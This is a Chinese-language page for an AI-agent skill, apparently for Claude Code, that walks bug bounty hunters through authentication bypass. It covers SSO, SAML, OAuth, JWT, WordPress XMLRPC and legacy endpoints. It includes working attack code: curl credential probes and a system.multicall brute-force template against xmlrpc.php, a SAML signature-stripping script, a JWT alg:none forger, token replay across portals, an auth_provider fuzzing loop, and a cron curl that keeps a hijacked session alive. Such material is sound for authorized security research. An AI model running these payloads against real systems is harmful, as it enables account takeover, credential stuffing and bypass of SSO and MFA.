关于 hunt-auth-bypass
hunt-auth-bypass 是面向漏洞赏金测试者的安全测试技能,用于排查 SSO、旧式端点和共享会话中的认证绕过。它提供攻击面检查清单,以及测试和验证影响的方法。
主要功能
- 01SSO 与 OAuth 攻击面检查
- 02旧式认证端点矩阵
- 03SAML 与 XMLRPC 测试步骤
- 04跨门户令牌复用检查
- 05影响验证指南
适用场景
- 01审查目标的联合登录流程
- 02检查 SSO 登录后的旧式端点
- 03测试合作伙伴与管理门户间的会话复用
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill hunt-auth-bypass安装后在 Claude Code 中输入/hunt-auth-bypass确认已加载。
详细介绍
高价值目标
身份验证绕过一直是漏洞赏金中报酬最高的漏洞类型之一,因为它直接违反了最基本的安全控制。高价值目标包括:
- 企业 SaaS 公司中的 SSO/SAML 实现(Slack、Okta、OneLogin 集成)——赏金通常在 $5K–$25K+ 之间
- 管理面板和合作伙伴/内部门户——与主域名分开的子域名管理界面,例如
partners.shopify.com、admin.company.com - 第三方身份验证插件集成——WordPress 插件(OneLogin、WP-SAML-Auth)、Drupal SSO 模块,以及任何支持可插拔身份验证的 CMS
- WordPress 上的 XMLRPC 端点——这些端点经常被遗忘,可完全绕过标准 WP 身份验证流程
- OAuth 回调流程——state 参数处理不当、redirect_uri 不匹配
- API 身份验证层——尤其是事后才补上的身份验证
**资产优先级:**优先选择与大量用户群体关联的联合身份验证目标(SAML、OAuth、OIDC)。合作伙伴/经销商门户尤其值得关注,因为它们通常权限较高,而且受到的安全审查不如主产品严格。
攻击面信号
可搜寻的 URL 模式:
/xmlrpc.php
/wp-login.php
/saml/
/sso/
/auth/saml/callback
/oauth/callback
/partners.*
/admin.*
/?wc-api=
/api/v*/auth
/login?redirect=
/accounts/login
表明启用了 SSO 的响应头:
X-Frame-Options: SAMEORIGIN (common on SSO portals)
Set-Cookie: SAMLResponse=
Location: https://idp.company.com/saml
WWW-Authenticate: Bearer realm="partners"
表明使用联合身份验证的 JS 模式:
// Look for in page source
samlRequest
RelayState
SAMLResponse
onelogin
shibboleth
okta
passport.js authenticate
技术栈信号:
- WordPress + 任意 SSO 插件 → 单独检查 XMLRPC
- Shopify Partner API 暴露 → 存在跨租户权限提升风险
- 任何宣传“已启用 SSO”或“使用 [Enterprise IdP] 登录”的应用
- 管理员/合作伙伴使用独立子域名,但与主域名共享会话 Cookie
- 使用
SimpleSAMLphp、ruby-saml、python-saml的应用
Burp 被动扫描触发条件:
- 任意 POST 请求正文中出现
SAMLResponse - 响应中出现
openid_connect或id_token - Cookie 域设置为
.company.com(通配符)
逐步测试方法
-
梳理所有身份验证入口
- 爬取目标,找出所有登录界面:主站登录、管理端登录、API 登录、合作伙伴门户、移动 API 端点
- 检查
robots.txt、JS 文件和 Wayback Machine,寻找/xmlrpc.php等被遗忘的端点
-
识别每个入口使用的身份验证机制
- 使用的是表单、SAML、OAuth、API 密钥还是会话令牌?
- 对于 WordPress:即使主登录受 SSO 保护,也要始终探测
/xmlrpc.php
-
独立于 SSO 测试 XMLRPC
- 如果网站使用 SSO(例如 OneLogin),手动向
/xmlrpc.php发送 POST 请求 - XMLRPC 使用 WordPress 原生凭据,而非 SSO——先用
system.listMethods测试,再测试wp.getUsersBlogs
- 如果网站使用 SSO(例如 OneLogin),手动向
-
枚举 SAML 实现
- 通过 Burp 捕获有效的 SAMLResponse
- 解码 Base64 载荷并检查 XML
- 测试签名剥离、注释注入和 XML 包装攻击
- 测试 SP 是否会验证签名(发送未签名的断言)
-
测试跨门户会话/令牌重用
- 登录
partners.shopify.com这类门户 - 尝试在主管理门户中使用签发的令牌/Cookie
- 查找共享的 Cookie 域、共享的 JWT 密钥,或可跨上下文使用的 API 令牌
- 登录
-
模糊测试身份验证参数
- 空值/空密码、
password[]=array、在用户名字段中输入 SQL - 在暂存子域名上尝试
admin/admin、test/test - 修改 JWT 中的
role、is_admin、user_type(none 算法、弱密钥)
- 空值/空密码、
-
检查重定向和 state 参数
- 从 OAuth 中移除
state后,是否会导致异常? - 能否将
redirect_uri改为开放重定向目标? - 是否会验证 SAML 中的
RelayState?
- 从 OAuth 中移除
-
通过提升权限验证影响
- 不要止步于登录——证明你可以访问管理功能、其他用户的数据或敏感配置
- 截取你能执行的最高权限操作的屏幕截图
旧版协议矩阵(对任何使用自定义品牌的登录页面,先探测这些)
当目标使用自定义品牌登录界面(例如 customlogin.aspx、/auth/signin、/account/login)时,始终并行探测平台的旧版协议端点,并使用原生凭据。这些端点的保护措施往往比自定义界面更容易失效,而且接受原生凭据时没有速率限制、没有 MFA 挑战、没有 CAPTCHA、没有反自动化机制。这是 WordPress XMLRPC 模式在 CMS/门户/框架技术栈中的通用化版本。
| 目标技术 | 要探测的旧版端点 | 原生凭据绕过面 |
|---|---|---|
| WordPress | /xmlrpc.php(system.listMethods、wp.getUsersBlogs、system.multicall) | 原生 WP 用户名/密码;可绕过 /wp-login.php 上的 SSO、MFA、IP 允许规则 |
| WordPress(REST) | /?rest_route=/wp/v2/users、/wp-json/wp/v2/users | 即使登录页面已加固,也可匿名枚举用户 |
| SharePoint(任何版本) | /_vti_bin/Authentication.asmx(Mode 和 Login SOAP 操作) | 原生 Forms 身份验证凭据;返回 FedAuth cookie;在 SP2013 场上观察到此端点没有速率限制——这是与 WP XMLRPC 绕过相对应的典型 SP 方案 |
| SharePoint 旧版 | /_vti_bin/_vti_aut/author.dll、/_vti_bin/_vti_adm/admin.dll、/_vti_bin/owssvr.dll | FrontPage RPC;有时仍连接到凭据验证器 |
| SharePoint REST | /_api/contextinfo(POST)、/_api/$metadata | 匿名签发 FormDigest;枚举完整 API 面 |
| Atlassian(Jira/Confluence) | /rest/auth/1/session(基本身份验证)、/rest/api/2/myself、旧版 /rest/api/1.0/ | 即使 Atlassian Crowd/Atlassian Access SSO 已在 UI 上强制执行,/rest/auth/1/session 仍接受原生凭据 |
| Drupal | /jsonapi/、/user/login?_format=json | 接受原生密码的 JSON POST 端点;与 SSO 中间件相互独立 |
| Drupal(D7 旧版) | /?q=user/login、/services/、/rest/ | 具有独立身份验证机制的旧版 REST 模块 |
| Joomla | /administrator/index.php?option=com_login、/api/index.php/v1/users | 管理员入口接受原生 Joomla 凭据,不受任何前端 SSO 影响 |
| Exchange/OWA | /EWS/Exchange.asmx、/Autodiscover/Autodiscover.xml、/Microsoft-Server-ActiveSync | NTLM/基本身份验证;可绕过 OWA UI 限制(MFA、IP 允许规则)。这是经典的 CVE-2020-0688/CVE-2021-26855 攻击面 |
| Citrix NetScaler | /vpn/index.html、/cgi/login、/nf/auth/doAuthentication.do | 原生 AD 凭据;不受 MFA 封装层影响 |
| F5 BIG-IP | /mgmt/tm/util/bash、/tmui/login.jsp | 原生管理员凭据 |
| 通用 ASP.NET 应用 | *.asmx?WSDL、*.svc?WSDL、trace.axd、elmah.axd、.disco | 查找所有 Web 服务;许多服务接受的凭据与 WebForms 登录相互独立 |
| Spring Boot | /actuator/*、/management/*、/api/v1/auth/login、/api/v1/swagger-ui | Actuator 端点有时可匿名枚举 |
| Jenkins | /jnlpJars/jenkins-cli.jar、/script、/manage、/computer/(master)/script | API 令牌和原生身份验证 |
| GitLab | /api/v3/*(已弃用,但旧版安装中仍在使用)、/api/v4/users、/api/v4/projects | 个人访问令牌的作用范围比 UI 会话更宽松 |
| TeamCity | /app/rest/users、/login.html?username=&password=(GET 表单登录) | 原生管理员凭据 |
| Apache Tomcat | /manager/html、/host-manager/html、/manager/text/list | 原生 Tomcat Realm 凭据,不受任何前端身份验证影响 |
| WebLogic | /console/login/LoginForm.jsp、/wls-wsat/* | 原生管理员凭据 |
| Oracle EBS/PeopleSoft | /OA_HTML/AppsLogin、/psp/*/?cmd=login | 原生 ERP 凭据 |
| 使用方法: |
- 根据标头和路径识别技术栈(使用
hunt-misc攻击面信号)。 - 找到上方匹配的行。
- 匿名探测旧版端点,确认其可访问且不会返回 403/404。
- 使用合成凭据进行测试,确认端点接受原生凭据格式,并返回有差异的响应(成功与失败)。
- 确认没有速率限制、锁定或 CAPTCHA——向同一用户突发发送 10 个请求,确认响应时间一致。
- 根据攻击链是否能导致 ATO,将其报告为 严重 / 高危:在漏洞赏金计划中,匿名且不限次数的凭据暴力破解端点一贯属于严重问题。
**经授权的测试经验教训:**某个企业经销商门户基于 SharePoint 2013,并使用自定义品牌的 customlogin.aspx。当时已加载 hunt-auth-bypass 技能,但本文档中没有上面的矩阵——而且 WordPress XMLRPC 模式也没有关联到 SharePoint 对应的端点。/_vti_bin/Authentication.asmx 可以匿名访问,接受不限次数的凭据尝试,没有速率限制,也不会锁定账户,是本次测试中影响最大的发现。若在首次测试时逐项检查此矩阵,就能立即发现这个问题。
载荷与检测模式
XMLRPC 身份验证探测(绕过 SSO):
curl --max-time 30 --connect-timeout 10 -s -X POST https://target.com/xmlrpc.php \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?>
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>'
# If 200 with method list → XMLRPC is enabled, test auth:
curl --max-time 30 --connect-timeout 10 -s -X POST https://target.com/xmlrpc.php \
-H "Content-Type: text/xml" \
-d '<?xml version="1.0"?>
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value><string>admin</string></value></param>
<param><value><string>password</string></value></param>
</params>
</methodCall>'
剥离 SAML 签名(发送未签名断言):
import base64, re
# Decode captured SAMLResponse
saml_b64 = "BASE64_FROM_BURP"
saml_xml = base64.b64decode(saml_b64).decode()
# Strip the Signature element entirely
stripped = re.sub(r'<ds:Signature.*?</ds:Signature>', '', saml_xml, flags=re.DOTALL)
# Re-encode and submit
print(base64.b64encode(stripped.encode()).decode())
SAML XML 注释注入(用户名混淆):
<NameID>[email protected]</NameID>
<NameID>[email protected]@company.com</NameID>
<NameID xmlns:evil="http://evil.com">[email protected]</NameID>
合作伙伴 / 跨门户令牌复用测试:
# Get token from partner portal
TOKEN=$(curl --max-time 30 --connect-timeout 10 -s -X POST https://partners.target.com/login \
-d '[email protected]&password=pass' \
-c cookies.txt | grep -o 'token=[^;]*')
# Replay against admin portal
curl --max-time 30 --connect-timeout 10 -s https://admin.target.com/dashboard \
-H "Authorization: Bearer $TOKEN" \
-H "Cookie: $TOKEN"
JWT none 算法攻击:
import base64, json
header = base64.b64encode(json.dumps({"alg":"none","typ":"JWT"}).encode()).decode().rstrip('=')
payload = base64.b64encode(json.dumps({"user_id":1,"role":"admin","email":"[email protected]"}).encode()).decode().rstrip('=')
token = f"{header}.{payload}."
print(token)
用于查找身份验证绕过攻击面的 Grep 模式:
# Find XMLRPC in scope
grep -r "xmlrpc" scope_urls.txt
# Find SSO indicators in JS
grep -rE "(SAMLResponse|samlRequest|RelayState|onelogin|shibboleth)" *.js
# Find partner/admin subdomains
subfinder -d target.com | grep -E "(admin|partner|internal|sso|auth|login)"
常见根本原因
-
SSO 在 UI 层完全绕过本地身份验证,但 API 层没有——开发者禁用了登录表单,却忘了 API 端点(
/xmlrpc.php、REST API、移动端 API)有各自的身份验证处理程序,仍然接受原生凭据。 -
跳过了 SAML 签名验证,或将其设为可选——库的默认设置往往不会强制检查签名;开发者使用
wantAssertionsSigned: false,或未正确配置 IdP 证书。 -
不同信任级别共用会话基础设施——合作伙伴门户和管理门户复用同一个会话 Cookie 或 JWT 密钥,因为它们基于相同的内部框架构建,并认为应用层访问控制已足够。
-
多租户架构中的信任继承——在较低权限上下文(合作伙伴、经销商)中颁发的令牌,会在较高权限上下文中被接受,因为验证过程只检查签名是否有效,而不检查令牌的颁发上下文。
-
插件 / 模块的身份验证独立于应用程序身份验证——每个处理身份验证的 WordPress 插件(联系表单、REST API 扩展、WooCommerce)都可能实现自己的身份验证处理程序,且与主站的 SSO 不一致。
-
XML 解析不一致——不同的 XML 解析器(SP 与 IdP 使用的解析器)对注释、命名空间和空白字符的处理方式不同,可能导致混淆攻击,使已签名内容与实际评估的内容不一致。
绕过技术
| 防御措施 | 绕过方法 |
|---|---|
| 登录页面强制要求 SSO | 探测其他入口:XMLRPC、REST API、移动 API、旧版端点 |
| SAML 签名验证 | 注入 XML 注释、命名空间封装、签名封装(XSW)、完全移除签名 |
| 管理门户 IP 白名单 | 如果合作伙伴门户共用身份验证后端,则使用其令牌 |
| 登录限速 | XMLRPC 可通过 system.multicall 进行凭据填充攻击——在一个请求中批量发送数百次身份验证尝试 |
| 登录表单上的 CSRF 令牌 | SAML 流程设计上采用跨源 POST;/saml/callback 无需 CSRF 令牌 |
| JWT 签名验证 | alg: none、密钥混淆(使用公钥作为密钥,将 RS256 改为 HS256)、暴力破解弱密钥 |
| 各门户使用独立的会话存储 | 检查 Cookie 域是否为 .target.com(通配符)——Cookie 会在子域之间泄漏 |
| 主登录启用 MFA | 如果 SAML SP 未在断言级别强制执行 MFA,且接受预身份验证断言,则可跳过 MFA |
使用 XMLRPC multicall 批量绕过身份验证:
<methodCall>
<methodName>system.multicall</methodName>
<params><param><value><array><data>
<value><struct>
<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
<member><name>params</name><value><array><data>
<value><string>admin</string></value>
<value><string>password1</string></value>
</data></array></value></member>
</struct></value>
</data></array></value></param></params>
</methodCall>
Gate 0 验证
撰写任何报告之前,请先回答以下三个问题:
-
攻击者现在能做什么? 必须能够:以其他用户身份进行身份验证,或在没有有效凭据的情况下进行身份验证,或提升到管理员/特权角色。“部分信息泄露”不属于身份验证绕过。
-
受害者会失去什么? 必须指出具体资产:接管特定用户的账户、访问所有管理功能、读取/修改其他租户数据的能力,或访问特权 API。仅笼统声称“绕过安全控制”而不说明影响是不够的。
-
能否在 10 分钟内从头复现? 你必须能够:(a) 从全新的浏览器/会话开始,(b) 按照确切步骤操作,(c) 最终获得对受保护资源的身份验证访问权限。如果复现需要你无法重现的特殊前置条件(例如某个特定受害者的活动会话、时间窗口),则报告还需要进一步完善。
真实影响案例
场景 1 — 通过被遗忘的协议端点绕过 SSO 强制要求
一家大型网约车公司在所有基于 WordPress 的内部/公开站点上强制执行 SSO(通过 OneLogin)。XMLRPC 端点(/xmlrpc.php)仍处于启用状态,并接受完全独立于 SSO 流程的 WordPress 原生凭据。拥有任何有效 WP 原生凭据的攻击者(通过凭据填充攻击获取,或从此前的数据泄露事件中获得),都可以直接通过 XMLRPC 进行身份验证,绕过 MFA、SSO 策略以及主登录表单上的 IP 限制。影响:获得该用户角色可用的所有 WordPress 功能的完整身份验证访问权限,包括内容管理以及可能的管理员功能。
场景 2 — 因签名验证失败伪造 SAML 断言
某大型企业通信平台的 SAML SP 实现未能在特定边缘情况下正确验证断言签名。攻击者操纵捕获到的 SAMLResponse 的 XML 结构(具体方法是注入注释或发动命名空间前缀攻击),即可修改 NameID 值,冒充组织中的任何用户(包括工作区管理员),而无需持有该用户的凭据或私钥材料。影响:完全接管启用了 SAML 的组织中的任何用户账户;攻击者可访问工作区中的所有消息、文件和集成。
场景 3 — 通过共享身份验证后端跨门户提升权限 某电子商务平台的合作伙伴/经销商门户颁发的身份验证令牌,由与商家管理门户相同的后端服务进行验证。合作伙伴级账户(信任级别较低、面向外部)可以使用其已颁发的凭据或令牌,直接向管理员级 API 端点进行身份验证,绕过商家入驻和权限分配流程。影响:恶意合作伙伴可以访问任何商家的管理面板、修改店铺配置、窃取客户 PII 和支付数据,或安装恶意脚本,影响数千家商户店铺。
已公开报告引用(补充 +8 — 2016-2025)
以下真实、已验证的漏洞赏金/协调披露案例扩展了此技能。涵盖 4 种 SAML 子类、4 种 JWT 子类、1 种旧版协议(XMLRPC)以及 2 种合作伙伴门户跨域复用模式。
-
GitHub Enterprise Server — 通过解析器差异进行 SAML XSW(CVE-2025-25291/25292)(H1 #2579939 · 博客)
- 子类:SAML 签名剥离/XSW(解析器差异变体)
- 载荷:已签名的 SAML 响应;注入同级
<Assertion>,使 REXML(签名检查器)和 Nokogiri(业务逻辑读取器)通过相同的 XPath 解析出不同节点。签名通过验证的是良性节点;SP 使用的是攻击者控制的<NameID>admin@target</NameID> - 根本原因:用于验证和读取的两个 XML 解析器,对相同 XPath 返回了不同元素
- 年份:2025 — GitHub Security Lab 漏洞赏金(项目最高等级,内部评级为严重)
-
GitHub Enterprise — 绕过加密断言上的 SAML 签名(CVE-2024-4985)(H1 #2475347 · ProjectDiscovery 安全公告)
- 子类:启用加密断言功能时的 SAML 签名剥离(XSW 系列)
- 载荷:伪造带有攻击者控制断言的 SAML 响应;利用加密断言代码分支上的签名验证不当问题;创建任意用户,包括
site_admin - 根本原因:加密断言代码分支上的加密签名验证不当
- 年份:2024 — 漏洞赏金金额未公开,CVSS 10.0
-
Uber — 绕过
uchat.uberinternal.com上的 SAML 身份验证(H1 #223014)- 子类:SAML 签名剥离/断言验证不当(OneLogin SP 端)
- 载荷:重放/修改 SAML 断言并伪造
NameID;SP 未严格验证签名范围,因此接受了攻击者控制的断言,为攻击者授予了内部聊天的 OneLogin SSO 会话 - 根本原因:SP 实现中的 SAML 签名验证不当
- 年份:2017 — $8,500
-
Uber — 通过 WordPress XMLRPC 绕过 OneLogin SSO(H1 #138869)
- 子类:WordPress XMLRPC 绕过 SSO(旧版身份验证路径未设防)——典型的旧协议矩阵案例
- 载荷:OneLogin 插件会使用字面密码
@@@nopass@@@自动创建 WP 用户。SSO 插件只拦截了wp-login.php。向xmlrpc.php发送包含wp.getUsersBlogs和已知共享密码的 POST 请求 → 以任何此前通过 SSO 登录的用户身份完成身份验证 - 根本原因:SSO 强制措施只应用于一个身份验证入口(wp-login),而旧版 XML-RPC 路径仍保留了基于密码的身份验证,且共享密码可被猜出
- 年份:2016 — $7,000
-
Slack — 重复使用 SAML“困惑代理”断言(Writeup)
- 子类:合作伙伴门户/跨 IdP 断言重用(未验证受众限制)
- 载荷:获取一份已过期、由 GitHub 签名的旧 SAML 断言(受众不同、主体不同)→ 提交给 Slack ACS → Slack 将攻击者作为断言中指定的用户名登录
- 根本原因:未检查受众限制,也未检查时效性;信任范围跨越了多个 IdP
- 年份:2017 — $3,000
-
HackerOne — 通过控制字符绕过 SAML 注册域名限制(H1 #2101076)
- 子类:合作伙伴门户/通过 Unicode 控制字符绕过 SAML 域名绑定
- 载荷:在强制使用 SAML 的组织注册新用户;在电子邮件地址末尾添加控制字符(例如
\r、�)→ 域名比较时将其规范化并去除,注册得以继续 → 未经授权即可访问该组织 - 根本原因:域名检查与身份写入过程中的 Unicode/控制字符规范化不一致
- 年份:2024 — 已发放赏金(金额未披露)
-
8x8 / Jitsi-Meet — JWT 算法混淆(非对称验证器接受对称算法)(H1 #1210502)
- 子类:JWT 算法混淆(RS256 → HS256,将公钥用作 HMAC 密钥)
- 载荷:服务器公开 RS256 验证公钥。发送头部为
{"alg":"HS256"}、并使用该公钥作为 HMAC 密钥签名的令牌 → Prosody 模块验证并允许攻击者进入经过身份验证的/版主房间 - 根本原因:验证器未强制要求
alg=RS256;允许使用公钥作为共享密钥的对称算法 - 年份:2021 — 赏金未披露
-
Argo CD(Internet Bug Bounty)— 未验证 JWT audience 声明(CVE-2023-22482)(H1 #1889161)
- 子类:令牌范围/仅在签发时而非使用时检查受众(跨受众令牌混淆)
- 载荷:获取任意一个由集群 OIDC 发行方签名的 RS256 令牌,但该令牌是为不同的
aud(例如kubernetes)签发的 → 将其作为持有者令牌提交给 Argo CD API → API 接受了发行方的签名,却跳过了aud强制检查,因此将其视为有效令牌 - 根本原因:未强制检查
aud声明;签名信任扩展到了不同受众 - 年份:2023 — 通过 IBB 获得 $2,400
Duende BFF — 令牌混淆与会话固定(2024-2026 攻击面)
Duende BFF 部署除 hunt-csrf 中讨论的 CSRF 问题外,还暴露出两类截然不同的身份验证绕过问题。这些都是有文档记录的架构现实,并非罕见的 CVE。
攻击类别 1 — YARP UserOrClient / UserOrNone 权限提升
Duende.BFF.Yarp 通过 WithAccessToken(TokenType.X) 元数据为代理路由附加访问令牌。错误配置模式:开发者将路由标记为 UserOrClient(已登录时使用用户令牌,否则回退到客户端凭据令牌),本意是将其用于“公共目录”端点。客户端凭据(M2M)令牌通常具有比任何用户令牌都更广泛的作用域(api.admin、internal.read)。未通过身份验证的攻击者访问该路由时,请求会被代理到下游 API,并附带服务账户令牌——当下游信任该 bearer 令牌时,这种设计会导致权限提升。(docs.duendesoftware.com/bff/fundamentals/apis/yarp)
**载荷形式:**识别标记为 TokenType.UserOrClient 的 BFF 路由(在没有会话时观察 401 与 200 的差异,或通过泄露的 OpenAPI/NSwag 规范)。不带 Cookie 访问该路由 → BFF 转发请求时附带 M2M 令牌,从而在下游授予管理员作用域。(docs.duendesoftware.com/bff/fundamentals/apis/yarp)
相邻的已确认 CVE:Duende.AccessTokenManagement.OpenIdConnect 中的 CVE-2024-51987——“HTTP 客户端在刷新后使用了错误的令牌”——在代理层属于实质上相同的令牌混淆类别。中等严重性,已于 2024 年修复。(GHSA-...51987)
攻击类别 2 — Cookie 域名通配符 + 滑动过期 = 持续性账户接管
当 BFF 会话 Cookie 设置了 Domain=.example.com(开发者这样做是为了在 app. 和 admin. 之间共享登录状态)时,__Host- 前缀保护就会失效。任何同级子域名——包括已被接管的子域名(legacy.example.com 的 CNAME 指向已停用的 Heroku/S3)——都能写入 Set-Cookie: .AspNetCore.Cookies=<attacker_session>; Domain=.example.com。受害者访问 app.example.com 时携带攻击者的会话 = 会话固定攻击导致账户接管。
如果 SlidingExpiration=true(默认值)且 ExpireTimeSpan 较长(例如 8h),被窃取的 Cookie 将持续有效;只要攻击者定期调用 /bff/user,有效期就会不断延长。Cookie 本身没有服务端刷新令牌轮换检查——只有 OIDC 令牌(服务端)会轮换。每个被窃取 Cookie 都会带来持续的账户接管窗口。
**载荷形式:**接管子域名 → 写入 Domain=.example.com 的 BFF 会话 Cookie → 受害者下次访问 app.example.com 时采用攻击者的会话。使用 Cron 每 6h 无限期执行 curl:GET /bff/user -H 'X-CSRF: 1' -b '.AspNetCore.Cookies=...',以保持会话有效。
加固参考:docs.duendesoftware.com/bff/fundamentals/session/handlers、nestenius.se BFF Cookie 指南、Langkemper 关于 __Host- 前缀的说明。
攻击类别 3 — /bff/user 声明信息泄露
GET /bff/user 会以 JSON 数组形式返回当前会话的完整声明集——sub、sid、email、bff:session_expires_in、bff:session_state、bff:logout_url,以及 OP 签发的每一项自定义声明(部门、角色、内部员工 ID、租户 ID)。该端点仅由会话 Cookie + X-CSRF: 1 保护。如果设置了 AnonymousSessionResponse=Response200,该端点还可用作会话探测器(200 + 声明,或 200 + null),可作为身份验证状态预言机。单独来看属于低/中危信息泄露;但可为上述 YARP 令牌混淆攻击提供有价值的侦察信息。(docs.duendesoftware.com/bff/fundamentals/session/management/user)
证据强度与报告建议
不存在直接针对 Duende.BFF 的 CVE。这三类问题都可通过真实世界中的错误配置利用;相邻的 Duende.AccessTokenManagement 程序包中的 CVE-2024-51987 和 CVE-2025-26620 表明,令牌混淆问题已在同系列中得到证实。应根据攻击链的影响进行报告(例如,“低权限会话可通过 UserOrClient 路由访问下游 API 的管理员作用域” → 严重),而不是引用 CVE,因为该问题属于设计层面。
攻击链交叉引用:
hunt-csrf— 按角色划分的反伪造问题类别(同一 BFF 攻击面的 CSRF 角度)。hunt-subdomain-takeover/hunt-subdomain— Cookie 域名攻击所需的前置条件。
功能级访问控制(授权失效)
身份验证绕过让你进入;功能级访问控制失效则会让已通过身份验证的低权限用户访问 UI 从未向其提供的特权功能。这是 hunt-idor(对象级访问控制)的授权对应问题——只要你持有任何已通过身份验证的会话,就应同时测试两者。
**同级功能规则:**如果某路径下的 9 个端点都执行了身份验证/角色中间件,那么第 10 个没有执行的端点就是漏洞所在。管理员路由族是最值得优先检查的地方:
/api/admin/users → has auth middleware
/api/admin/export → often MISSING it
/api/admin/delete → often MISSING it
/api/admin/reset → often MISSING it
可用 grep 查找的反模式:
// Missing middleware on a sibling route
router.get('/admin/users', authenticate, authorize('admin'), getUsers);
router.get('/admin/export', getExport); // No middleware!
// Client-side role check only — server never re-checks
if (user.role === 'admin') showAdminButton(); // frontend gate
app.post('/api/admin/delete', deleteUser); // no server-side check
**测试方法:**枚举每个特权端点(admin/export/delete/reset/impersonate、GraphQL 管理员查询),然后从普通已通过身份验证的会话重放每个请求——再在没有会话的情况下重放一次。若返回 200(或与同级端点返回的 403 不同),则存在功能级访问控制失效。
真实付费案例 — HackerOne TrustHub:POST /graphql 的 TrustHubQuery 操作没有授权检查——普通用户可以读取所有供应商的数据(CVSS 8.7,高危)。对象级变体(例如,WebSocket get_history 接受任意 UUID 且不检查所有权)属于 hunt-idor。
验证
运行此自检,以确认已准备好进行身份验证绕过测试:
-
JWT alg:none 测试 — 验证令牌生成:
python3 -c " import base64,json h=base64.urlsafe_b64encode(json.dumps({'alg':'none','typ':'JWT'}).encode()).rstrip(b'=').decode() p=base64.urlsafe_b64encode(json.dumps({'sub':'admin','role':'admin'}).encode()).rstrip(b'=').decode() print(f'{h}.{p}.') " && echo "PASS: alg=none token generated" || echo "FAIL" -
X-Forwarded-For 绕过语法 — 确认标头注入:
echo "X-Forwarded-For: 127.0.0.1" | grep -q "127.0.0.1" && echo "PASS: bypass header syntax" || echo "FAIL" -
直接 URL 绕过测试 — 确认登录后的路径探测:
echo "/dashboard /admin /settings /account" | grep -q "dashboard" && echo "PASS: post-login path list present" || echo "FAIL"
这 3 项测试均可验证身份验证绕过探测能力。
注意事项
- 混淆“无需身份验证”和“身份验证绕过” — 无需身份验证的端点属于设计选择,并非绕过。绕过要求存在可被规避的身份验证检查。
- 仅通过标头绕过 IP 白名单 —
X-Forwarded-For: 127.0.0.1可能会改变响应状态,但无法证明已获得访问权限。请确认响应正文包含特权数据。 - 服务器不接受 JWT alg:none — 许多服务器默认会拒绝 alg:none。请使用伪造的令牌,在实际生产端点上测试。
- 直接访问返回 401,但通过代理路径访问返回 200 — 某些应用在通过特定路由访问
/internal/路径时会绕过身份验证。请映射完整的路由树。 - 基于标头的身份验证与 Cookie 身份验证冲突 — 如果同时发送
Authorization: Bearer和会话 Cookie,其中一种可能会覆盖另一种。请分别进行测试。 - 绕过逐步身份验证 — 首次登录后绕过 2FA/MFA 是最常见的身份验证绕过模式。请测试直接导航至登录后的 URL。
相关技能与链式利用
hunt-idor— 绕过身份验证却无法访问对象,只能算半个发现;应将两者结合。链式利用原语:旧版/v1/users/{id}路由同时缺少身份验证中间件和所有权检查 = 无需身份验证,通过直接替换 ID 跨租户读取数据 → 从“我什么都不是”的起点完整转储个人身份信息。hunt-ato— 身份验证绕过原语可为 ATO 流程提供入口。链式利用原语:XMLRPC 接受原生凭据,且wp.getUsersBlogs没有速率限制 → 使用hunt-misc侦察收集的泄露凭据库进行凭据填充 →system.multicall每个请求批量提交 1000 组凭据 → 只要一组凭据有效,就能绕过 UI 强制执行的 SSO 和 MFA,实现 ATO。hunt-sharepoint— 这里介绍了 WordPress XMLRPC 模式在 SP 中的对应做法。链式利用原语:匿名用户可访问/_vti_bin/Authentication.asmx,且原生 Forms 身份验证凭据会被接受,同时没有任何速率限制 = 无限制的凭据暴力破解端点,可绕过自定义品牌的customlogin.aspx防护 → 获取 FedAuth cookie → 完全访问 SharePoint 场。security-arsenal— 如果 JWT 验证是身份验证屏障,请提取 JWT 攻击载荷部分(alg=none、kid 路径遍历、JWK 注入、RS256→HS256 密钥混淆);如果 SP 接受未签名断言,请提取 SAML 签名剥离部分。triage-validation— 在将仅能枚举用户名,或仅能揭示 401 与 403 差异的“身份验证绕过”报告为严重问题之前,先运行严重性预审门槛。在 H1 上,单独的用户名枚举若没有锁定放大,通常会被评为不适用或信息级。
阶段 X — 身份验证提供方混淆
有些应用支持多个身份验证提供方(本地数据库、OAuth、LDAP、Apache HTTP Basic、SAML)。将 auth_provider 参数改为其他处理程序,可能会完全跳过密码验证。在 phpBB CVE-2026-48611 中已确认,auth_provider=apache 可绕过密码检查。
# Enumerate auth providers via parameter fuzzing
for provider in local oauth ldap apache saml cas openid sso external; do
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/auth/login" \
-d "username=admin&password=x&auth_provider=$provider" \
-w "$provider — %{http_code}\n" -o /dev/null
done
# phpBB-specific: Apache provider trusts HTTP Basic header without password
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/ucp.php?mode=login_link&auth_provider=apache&login_link_test=1" \
-H "Authorization: Basic $(echo -n 'admin:x' | base64)" \
-d "login_username=admin&login_password=x&login=Login"
阶段 Y — POST 正文参数覆盖
有些框架会优先采用 POST 正文参数,而不是 GET 查询参数。攻击者可以在 POST 正文中隐藏真正的 mode=login_link,而 WAF/日志记录器只会看到 URL 中的 mode=login:
# WAF sees GET: mode=login — attacker sends POST body: mode=login_link
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/ucp.php?mode=login&login_link_test=1" \
-d "login_username=admin&login_password=x&mode=login_link&auth_provider=apache&login=Login"
阶段 Z — 注入虚设参数以绕过空值检查
当代码要求某些参数非空,却不验证其内容时,可注入虚设值:
# Code checks: if (empty($login_link_data)) → block
# Bypass: add any login_link_* parameter with arbitrary value
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/ucp.php?mode=login_link&login_link_dummy=1"
权限提升:绕过身份验证 → 通过用户组管理获取管理员权限
冒充特权用户后,检查是否可以在无需重新进行身份验证的情况下管理用户组/角色。在 phpBB 中,创始用户无需输入密码,即可在用户控制面板中将其他用户添加到管理员组:
# 1. Auth bypass as admin
# 2. Register new attacker account
# 3. As admin, add attacker to ADMINISTRATORS group via UCP (no password needed)
# 4. Login as attacker → full ACP access with known password
## Related Skills
- **`password-spray-methodology`** — Universal password spray pipeline across all protocols + error code differentials